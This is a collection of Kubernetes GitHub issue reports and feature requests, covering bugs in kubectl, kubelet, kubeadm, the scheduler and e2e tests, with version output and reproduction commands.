in  pkg/client/unversioned/pods.go , most of the apis return a  pod  which has been set default values by apiserver such as  resource version ,  uid , normalized timestamp   related issue  https://github.com/kubernetes/kubernetes/pull/18410 issuecomment-165019877   and so on.      go type podinterface interface {   list opts api.listoptions    api.podlist, error    get name string    api.pod, error    delete name string, options  api.deleteoptions  error   create pod  api.pod    api.pod, error    update pod  api.pod    api.pod, error    watch opts api.listoptions   watch.interface, error    bind binding  api.binding  error   updatestatus pod  api.pod    api.pod, error    getlogs name string, opts  api.podlogoptions   request  }      the functionality is very useful, but we haven't fully used them now in status manager or mirror pod manager.  when we want to verify whether a resource is changed by apiserver, for example   _whether a mirror pod is changed by apiserver -  _  18638,   _whether pod status is changed by apiserver -  _  18410, we always compare the resource from the apiserver with the local cached one, which causes many problems: - the timestamp from apiserver is in   rfc3339   format, which doesn't support nanosecond. while in the resource we generated and cached there is nanosecond. so when we do comparison, they are always different. - we only cached newest version resource. when we receive a different resource from apiserver, we don't know whether it is an unmodified old version resource or modified new version resource. it usually introduces a lot of complexity. - ...  so, we should cache the resource returned by api client, and fully use it. especially we should take advantage of the  resourceversion  field to implement more accurate version control.  /cc @kubernetes/goog-node

this causes more confusion than it should. https://gist.github.com/bprashanth/176c76b8f713a1e88bfcff532fd1a5da  it's easy to mess up. the gce l7 won't accept anything other than rsa-2048 and ecdsa p-256, and the cert will get rejected unless ordered as:      -----begin my certificate----- -----end my certificate----- -----begin intermediate certificate----- -----end intermediate certificate----- -----begin intermediate certificate----- -----end intermediate certificate----- -----begin root certificate----- -----end root certificate-----      additionally we should tell people how to check for the validity of the chain  https://github.com/kubernetes/kubernetes/issues/20176 should do that automatically , some loadbalancers will do that for you, cloud lbs won't.

our api uses a number of custom types, such as  util.intorstring . we should check whether the fields using such types are documented accurately in the swagger output.  intorstring  is simply documented as  string , for example.

hi all,\r \r i have been trying to run kubernetes e2e tests on ppc64le platform using go1.7. all the conformance tests are failing with the same error. here is the error that i am getting:\r \r  couldn't delete ns: yaml: control characters are not allowed  &errors.errorstring{s:\ yaml: control characters are not allowed\ }  \r \r every single test fails with this error. any idea where should i start debugging from? tia.

during kube-proxy bootstrap, kube-proxy retrieves node ip by accessing node object.\r https://github.com/kubernetes/kubernetes/blob/release-1.5/cmd/kube-proxy/app/server.go l464\r \r because kube-proxy is a static pod, kubelet may start kube-proxy before completing self registration. hence kube-proxy may start up without knowing the correct node ip.

environment variables  are one of the main configuration mechanisms in docker & kubernetes. it would be nice if we could export a little more metadata about the environment variables so that its easier for folks working across all kubernetes pods to be able to understand the configuration and for tools to be able to better visualise the configuration and allow editing in nicer forms with richer controls and validation. e.g. a description could be used in a web ui or cli tool to describe the environment variables.  it might be nice to add  json schema validation properties  http://json-schema.org/latest/json-schema-validation.html  too  e.g. type field  for things line integer, number, uri, date-time, email etc , minlength, maxlength, pattern etc  so that tools can generate an automatic editor of the environment variables.  e.g. if folks want to allow a pod definition to be visually edited by a tool, it'd be nice to be able from the pod json to be able to generate a nice validating form with tooltips.  then folks generating a pod json/yaml file who have deeper knowledge about the internals of a docker container image could then export richer metadata about the environment variables so that generic kubernetes tooling would provide a richer experience.

customresources enable gc when it is enabled overall, but the gc controller doesn't locate crs, so the finalizer is never cleared, so the cr is never deleted.\r \r @kubernetes/sig-api-machinery-misc @enisoc @ironcladlou

the schedule type adapter interface which is sort of an extention to sync type adapter in federation controllers, uses arguments which are specific to replica type scheduling. these arguments need to be made generic, such that more adapters can implement the same still complying to the same interface.\r \r @kubernetes/sig-federation-misc \r @kubernetes/sig-federation-pr-reviews

 \r   what happened  :\r \r i set a list of initializers in a  deployment.spec.template.spec , pod created by controller have no initializers.  \r \r   what you expected to happen  :\r \r pod have pending initializers still present in metadata\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ kubectl create -f '\r ---\r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: initializer-test\r   labels:\r     app: initializer-test\r spec:\r   replicas: 3\r   selector:\r     matchlabels:\r       app: initializer-test\r   template:\r     metadata:\r       initializers:\r         pending:\r           - name: myinit\r       labels:\r         app: initializer-test\r     spec:\r       containers:\r       - name: busybox\r         image: busybox\r         args:  \ /bin/sleep\ , \ 9999\  \r '\r $ sleep 5\r $ kubectl get pod -l app=initializer-test -o json | jq '.items 0 .metadata.initializers'\r null\r    \r \r   environment  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.\r 8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6+coreos.0\ , gitcommit:\ e14ebed378d5380b9936455584fa454daa67f23b\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t21:52:44z\ , govers\r ion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

bumping etcd versions is  needlessly tedious  https://github.com/kubernetes/kubernetes/pull/59836  and needs to be simplified/automated.\r \r where practical, let's wire in a single version value set from some high level configuration file. if that still leaves us with numerous hard coded version strings that must be kept in sync, let's provide a utility to help update them from the configuration file, and validate that they are kept in sync.\r \r 

since yesterday evening pst, most of our gce jobs are broken  @krzysied noticed this for our scalability jobs :\r see - https://k8s-testgrid.appspot.com/google-gce  almost entire gce suite \r \r the problem seems to be that \ cluster up\  is failing and the apiserver does not even seem to be starting from the  master logs  http://gcsweb.k8s.io/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/24582/artifacts/bootstrap-e2e-master/ .\r \r / \r cc @kubernetes/sig-testing-bugs @kubernetes/sig-cluster-lifecycle-bugs

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r when using the  --node-ip  flag on the kubelet, the node's  .status.addresses  list no longer reports  externaldns ,  internaldns ,  externalip  addresses. \r \r   what you expected to happen  :\r \r that i can explicitly set  --node-ip  to an ip, but the other addresses will still show up.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a new kops cluster, modify the kubelet to use the  --node-ip  flag with the eth0 on the node. run  kubectl get no <node-name> -o json | jq .status.addresses  \r \r   anything else we need to know?  :\r \r this change will probably take place in   kubelet.setnodeaddresses     https://github.com/kubernetes/kubernetes/blob/1e39d68ecb212fe701153c29fcc7ce29e7ecf6ab/pkg/kubelet/kubelet_node_status.go l439-l452 \r \r this came up as a result of  61921\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.x\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  : any\r - install tools: kops\r \r   \r @andrewsykim \r @nckturner\r \r i'll make a pr for this change shortly

 \r   what happened  :\r received the following error  unknown flag: --all-namespaces \r \r   what you expected to happen  :\r i expected all deployments to be updated to the given image:tag across all name spaces \r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy nginx into 2 or more namespaces with a label of  app: nginx  then run the following command\r   kubectl set image deployments nginx=nginx:1.9.1 --selector='app=nginx' --all-namespaces \r \r i was able to achieve the desired result via the following bash script\r    \r for name in  kubectl get po --all-namespaces --selector app=nginx -o=jsonpath='{.items   .metadata.namespace}' ; do kubectl set image deployments nginx=nginx:1.9.1 --all --namespace=${name}; done\r    \r \r it seems like this should be built in to commands where it make sense to perform actions across multiple namespaces. the script loop feels like an error prone solution. \r \r our use case is as follows:\r we have two clusters production and development. our namespaces use the following pattern \r \\<customer\\>-\\<environment\\>\r \r  e.g. on the production cluster they would be  acme-prod ,  acme-uat  on the development cluster they are  acme-dev ,  acme-qa \r \r this essentially gives us 4 environments per customer across our clusters, our app is built with micro services 90% of which are used in every single environment  e.g. activities-api, channels-api  this means that we may have 400 pods running an image that needs to be updated. \r \r changes to our services are first deployed to all \\<customer\\>-dev namespaces once the tests pass they are deployed to \\<customer\\>-qa once the tests pass qa then our charts are updated with the approved versions which we would also like to be able to apply across all our \\<customer\\>-uat and \\<customer\\>-prod namespaces where the labels and selector match up appropriately.\r \r 

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r \r when deleting a pod in k8s cluster, it got stuck in state \ terminating\  for long. the host pod located in kept printing error message as follows:\r \r    \r kernel:unregister_netdevice: waiting for eth0 to become free. usage count = 1\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r \r    \r $ cat /etc/redhat-release \r centos linux release 7.4.1708  core \r    \r \r - kernel  e.g.  uname -a  :\r \r    \r $ uname -a\r linux k2n2 4.4.128-1.el7.elrepo.x86_64  1 smp sat apr 14 06:57:19 edt 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r \r k8s: rpm\r docker-engine: rpm\r \r - docker\r \r version: docker-engine-1.12.6\r graph: overlay2\r backend-filesystem: xfs ftype=1 \r \r - others:\r \r we use calico as network plugin\r calico-version: 3.0

throw load at etcd, limit it to a few cores, and open up some reflectors  pod+node hostname would mimic kubelet, pod with/without hostname would be scheduler . measure latency of time a change hits etcd to when it shows up in the reflector.   it should be capable of catching https://github.com/googlecloudplatform/kubernetes/issues/6059 as well as cases where the field/label matching logic has suddenly regressed.   would be cool if it compared the overhead of a reflector with the raw etcd watch latency too, 2 benchmarks would achieve that, one with the raw etcd helper and another with the reflector.   @lavalamp thoughts?

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r when deploy  horizontalpodautoscaler  object, i have met this error:\r    \r the horizontalpodautoscaler \ indexer\  is invalid: spec.metrics 0 .resource.targetaveragevalue: forbidden: may not set both a target raw value and a target utilization\r make:      __deploy-only  error 1\r script failed with status 2\r    \r \r but the validation seems working fine:\r    \r $ kubectl apply --dry-run --validate=true -f infra/indexer-hpa.yaml\r horizontalpodautoscaler.autoscaling \ indexer\  configured  dry run \r    \r \r   what you expected to happen  :\r expecting the validation throws the same error\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a  horizontalpodautoscaler  yaml file with both  targetaveragevalue  and  targetaverageutilization  in the resourcemetrics.\r \r   anything else we need to know?  :\r the validation lines are in here:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/autoscaling/validation/validation.go l246-l252\r \r    \r if src.target.averageutilization == nil && src.target.averagevalue == nil {\r   allerrs = append allerrs, field.required fldpath.child \ target\  .child \ averageutilization\  , \ must set either a target raw value or a target utilization\   \r }\r \r if src.target.averageutilization != nil && src.target.averagevalue != nil {\r   allerrs = append allerrs, field.forbidden fldpath.child \ target\  .child \ averagevalue\  , \ may not set both a target raw value and a target utilization\   \r }\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.1\ , gitcommit:\ d4ab47518836c750f9949b9e0d387f20fb92260b\ , gittreestate:\ clean\ , builddate:\ 2018-04-13t22:29:03z\ , goversion:\ go1.9.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-18t23:58:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : macos sierra 10.12.6\r

kubectl rollout  currently doesn't handle  failed  deployments  cannot make progress after  .spec.progressdeadlineseconds  . it waits forever until watch times out. \r \r https://github.com/kubernetes/kubernetes/blob/426ef9d349bb3a277c3e8826fb772b6bdb008382/pkg/kubectl/rollout_status.go l66-l100\r \r @kubernetes/sig-apps-bugs

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r @kubernetes/sig-storage-feature-requests \r \r   what happened  :\r while refactoring the e2e tests as part of https://github.com/kubernetes/kubernetes/pull/68910 discussion_r223863346 , there were a few more test cases identified that can be added for projected volumes:\r   non-optional for secrets\r   non-optional should fail for secrets when key doesn't exist\r   non-optional should fail for configmaps when key doesn't exist

what happened  :\r \r when running kubeadmin  versions tested 11.5 to 12.3  init on a vanilla debian aarch64 the process times out/fails most of the times.\r \r why: i guess because kube-apiserver is hammerd with requests the whole time by kube-scheduler and kube-controller-manager pods. kube-apiserver sits at 100% cpu the whole time and the querying pods get tls connection timeouts while the etcd pod is also complaining about \ took too long  904.738249ms  to execute\ .\r \r i'm not sure, if etcd is the problem though , cause kube-apiserver is @100% cpu while etcd is more or less idle.\r \r the matter gets even worse, if i put etcds datair away from the sd card to an external usb3 ssd even if random writes are normally much faster to that disk.\r \r kube-apiserver eventually fails with 100s of \ tls handshake error from 192.168.x.x:5xxxx\  and gets restarted.\r \r if i'm lucky the second kube-apiserver is then finally able to process requests and init succeeds. most of the time it fails though.\r \r   what you expected to happen  :\r \r kubeadm init should give pods room to breathe during initialization on toy clusters. actually i wouldn't even call a rock64 a toy, it's a pretty beefy sbc and k8s should init without problems on it.\r \r as there are many similar bug reports around and the problem seems to pop up again @ every new major version i'd also expect that arm bare metal clusters don't get neglected so much during testing.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kubeadm init --pod-network-cidr 10.244.0.0/16  on aarch64\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version 1.12.3\r - os  e.g. from /etc/os-release : debian stretch ayufaran\r - kernel  e.g.  uname -a  : 4.4.154-1124-rockchip-ayufan-ged3ce4d15ec1\r \r  <!-- do not edit below this line -->\r 

there is a field named  selinuxoptions  in  podsecuritycontext , however this is only used for the running process in containers.  for example, the following spec:      yaml apiversion: v1 kind: pod metadata:   name: ubuntu3   labels:     app: ubuntu spec:   containers:   - image: ubuntu:14.04     command:     - sleep     - \ 3600\      imagepullpolicy: ifnotpresent     name: ubuntu     volumemounts:     - name: log-dir       mountpath: /var/log/ubuntu3   volumes:   - name: log-dir     hostpath:       path: /var/log/ubuntu3   restartpolicy: always   securitycontext:     selinuxoptions:       user: system_u       role: object_r       type: svirt_sandbox_file_t       level: s0:c100,c200      what i am hoping is that the files under  /var/log/ubuntu3  would have type  svirt_sandbox_file_t , however it was set on the process, not the volumes.      console   ps auxz | grep sleep system_u:object_r:svirt_sandbox_file_t:s0:c100,c200 root 8633 0.1  0.0 4348 636 ? ss 10:12   0:00 sleep 3600      my question is: is there a way to set selinux labels for the volumes something like  -v ${hostpath}:${containerpath}:z  in docker ?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/arm64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.5\ , gitcommit:\ 894ff23729bbc0055907dd3a496afb725396adda\ , gittreestate:\ clean\ , builddate:\ 2017-03-22t00:17:51z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/arm64\ }\r \r \r   environment  :\r root@android-qemu:~  uname -a\r linux android-qemu.local.lan 4.4.0-66-generic  87-ubuntu smp fri mar 3 15:31:00 utc 2017 aarch64 aarch64 aarch64 gnu/linux\r \r   kubeadm version\r kubeadm version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.2074+a092d8e0f95f52\ , gitcommit:\ a092d8e0f95f5200f7ae2cba45c75ab42da36537\ , gittreestate:\ clean\ , builddate:\ 2016-12-13t17:03:18z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/arm64\ }\r \r \r -   cloud provider or hardware configuration  :\r cavium. thunderx hardware\r \r -   os    e.g. from /etc/os-release :\r version=\ 16.04.2 lts  xenial xerus \ \r -   kernel    e.g.  uname -a  :\r linux android-qemu.local.lan 4.4.0-66-generic  87-ubuntu smp fri mar 3 15:31:00 utc 2017 aarch64 aarch64 aarch64 gnu/linux\r \r -   install tools  :\r \r from http://apt.kubernetes.io/ kubernetes-xenial main\r \r -   others  :\r \r \r   what happened  :\r kubeadm init\r \r root@android-qemu:~  kubectl get pods --all-namespaces\r namespace     name                                             ready     status              restarts   age\r kube-system   dummy-3142566829-7n3zs                           1/1       running             0          9m\r kube-system   etcd-android-pok.local.lan                      1/1       running             0          9m\r kube-system   kube-apiserver-android-pok.lan            1/1       running             0          7m\r kube-system   kube-controller-manager-pok.local.lan   1/1       running             0          7m\r kube-system   kube-discovery-1882371488-7x47c                  1/1       running             0          9m\r kube-system   kube-dns-1562134285-sbdbv                        0/4       containercreating   0          9m\r kube-system   kube-proxy-t8371                                 1/1       running             0          9m\r kube-system   kube-scheduler-pok.local.lan            1/1       running             0          8m\r \r \r \r and kube-dns service can't start\r journalctl -xn 200 -u kubelet -l\r show me such things\r ! spectacle tj8266  https://cloud.githubusercontent.com/assets/598477/24247953/828b486e-0fde-11e7-97d6-d868e95fe6b8.png \r ! spectacle tj8424  https://cloud.githubusercontent.com/assets/598477/24248059/eb9cbacc-0fde-11e7-9715-81cfe3d7889b.png \r \r \r i tried flannel network with same results\r \r   what you expected to happen  :\r \r kube-dns working as expected\r \r \r

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r master branch\r \r   what happened  :\r in scheduler, the pods will not schedule to the nodes which is not ready or network unavailable.\r \r   what you expected to happen  :\r daemonset should respect to 'nodeready' and 'nodenetworkunavailable' status.\r \r   anything else we need to know  :\r according to the comments of daemonset's test, it should also schedule to node if it tolerant \ notready:notexecute\ ; but should schedule also tolerant it?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r   what happened  :\r \r i ran\r \r    bash\r kubectl create deployment test-output --image=nginx --output=\ invalid\ \r    \r \r the deployment \ test-output\  was created, but then i got this error message:  error: output format \ invalid\  not recognized .\r \r   what you expected to happen  :\r \r the \ kubectl\  command should have errored out immediately when i provided a bad \ --output\  flag.\r \r this is because the logic currently runs:\r 1. create deployment.  code  https://github.com/kubernetes/kubernetes/blob/0744964956abdb17586361dee59853f6167b58d7/pkg/kubectl/cmd/create.go l281 \r 2. validate the \ --output\  flag  and related printer flags .  code  https://github.com/kubernetes/kubernetes/blob/0744964956abdb17586361dee59853f6167b58d7/pkg/printers/printers.go l128-l129 \r 3. print the deployment info.  code  https://github.com/kubernetes/kubernetes/blob/0744964956abdb17586361dee59853f6167b58d7/pkg/kubectl/cmd/create.go l298 \r \r steps 1 and 2 should be switched.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the command i gave.\r \r   why didn't i just fix this?  :\r \r because the printer system is very complicated and tightly coupled to cobra.command. there is no way to validate that the printer flags are valid without actually printing something. a solution might be to make a struct  printoptions{}  that can be read from cobra and validated independently.\r \r credit goes to @mengqiy for discovering this issue.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r \r  \r   ops sig\r \r   what happened  :\r :/usr/local/bin  sudo minikube start\r starting local kubernetes v1.7.5 cluster...\r starting vm...\r getting vm ip address...\r moving files into cluster...\r setting up certs...\r connecting to cluster...\r setting up kubeconfig...\r starting cluster components...\r kubectl is now configured to use the cluster.\r \r sudo kubectl get pods\r no resources found.\r \r   what you expected to happen  :\r the command $ kubectl get pods,  should return similar to ...\r name                              ready     status              restarts   age\r hello-minikube-3383150820-vctvh   1/1       containercreating   0          3s\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r kubectl and minikube installed in /usr/local/bin\r minikube vm starts ok in virtual box... and can log in with user \ docker\  password \ tcuser\ \r same behaviour with or without the use of \ sudo\  \r \r installed following \r https://kubernetes.io/docs/tasks/tools/install-kubectl/\r https://github.com/kubernetes/minikube/releases\r \r \r   environment  :\r - kubernetes version  use  kubectl version    output of   \ $: kubectl version\ \r \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-10-06t20:53:14z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r root@luby-aspire-5250:/usr/local/bin  sudo kubectl version \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:27:35z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-10-06t20:53:14z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r root@luby-aspir\r \r - kernel  e.g.  uname -a  : 4.10.0-37-generic  41-ubuntu smp fri oct 6 20:20:37 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: \r curl\r \r curl -lo minikube https://storage.googleapis.com/minikube/releases/v0.22.3/minikube-linux-amd64 && chmod +x minikube && sudo mv minikube /usr/local/bin/\r \r curl -lo https://storage.googleapis.com/kubernetes-release/release/$ curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt /bin/linux/amd64/kubectl\r \r - others:\r

failure cluster  b6f2502eed675ab7759b  https://go.k8s.io/triage b6f2502eed675ab7759b        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/networking.go:131 jan 10 09:56:54.649: failed to find expected endpoints: tries 39 command echo 'hostname' | timeout -t 2 nc -w 1 -u 10.0.193.222 90 retrieved map netserver-0:{}  expected map netserver-0:{} netserver-1:{} netserver-2:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:274           failure cluster statistics: 2 tests failed,    6 jobs failed,    83 builds failed. failure stats cover 1 day time range '17 jan 2018 03:36 utc' to '18 jan 2018 03:36 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-network  networking granular checks: services  slow  should function for node-service: udp | 6 | |  sig-network  networking granular checks: services  slow  should update nodeport: udp  slow  | 6 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-cos-docker-validation-slow | 23 |  18 jan 2018 02:00 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-cos-docker-validation-slow/7663  | | ci-kubernetes-e2e-gce-ubuntudev-k8sbeta-slow | 12 |  18 jan 2018 02:13 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntudev-k8sbeta-slow/2539  | | ci-kubernetes-e2e-gce-ubuntudev-k8sdev-slow | 12 |  18 jan 2018 02:09 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-ubuntudev-k8sdev-slow/2845  |  /assign @yifan-gu @smarterclayton  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | yifan-gu |  sig-network  networking granular checks: services  slow  should function for node-service: udp | | smarterclayton |  sig-network  networking granular checks: services  slow  should update nodeport: udp  slow  | | sig/network |  sig-network  networking granular checks: services  slow  should function for node-service: udp;  sig-network  networking granular checks: services  slow  should update nodeport: udp  slow  |  </details><br>   current status  https://go.k8s.io/triage b6f2502eed675ab7759b

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign\r \r   what happened  :\r  testgrid  https://k8s-testgrid.appspot.com/sig-storage gce-serial \r  logs  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/3273 \r \r the regular volume mount didn't get cleaned up:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/subpath.go:265\r expected grep stdout to be empty  i.e. no mount found .\r expected\r     <string>: /dev/sdc on /var/lib/kubelet/pods/d98b92b4-3bf7-11e8-8908-42010a800002/volumes/kubernetes.io~gce-pd/pvc-d98a660c-3bf7-11e8-8908-42010a800002 type ext4  rw,relatime,data=ordered \r     /dev/sdc on /var/lib/kubelet/pods/d98b92b4-3bf7-11e8-8908-42010a800002/volumes/kubernetes.io~gce-pd/pvc-d98a660c-3bf7-11e8-8908-42010a800002 type ext4  rw,relatime,data=ordered \r     /dev/sdc on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/d98b92b4-3bf7-11e8-8908-42010a800002/volumes/kubernetes.io~gce-pd/pvc-d98a660c-3bf7-11e8-8908-42010a800002 type ext4  rw,relatime,data=ordered \r     /dev/sdc on /home/kubernetes/containerized_mounter/rootfs/var/lib/kubelet/pods/d98b92b4-3bf7-11e8-8908-42010a800002/volumes/kubernetes.io~gce-pd/pvc-d98a660c-3bf7-11e8-8908-42010a800002 type ext4  rw,relatime,data=ordered \r     \r to be empty\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/subpath.go:615\r    \r \r @jingxu97 took a look, seems like the volume did get cleaned up after the check, so looks like there's some new delay introduced in the cleanup path.  likely suspect is https://github.com/kubernetes/kubernetes/pull/61071, although it was merged almost a month ago, and this test only started failing 3 days ago.\r \r anyway, looks like the normal non-subpath test added an extra sleep to account for this delay.\r

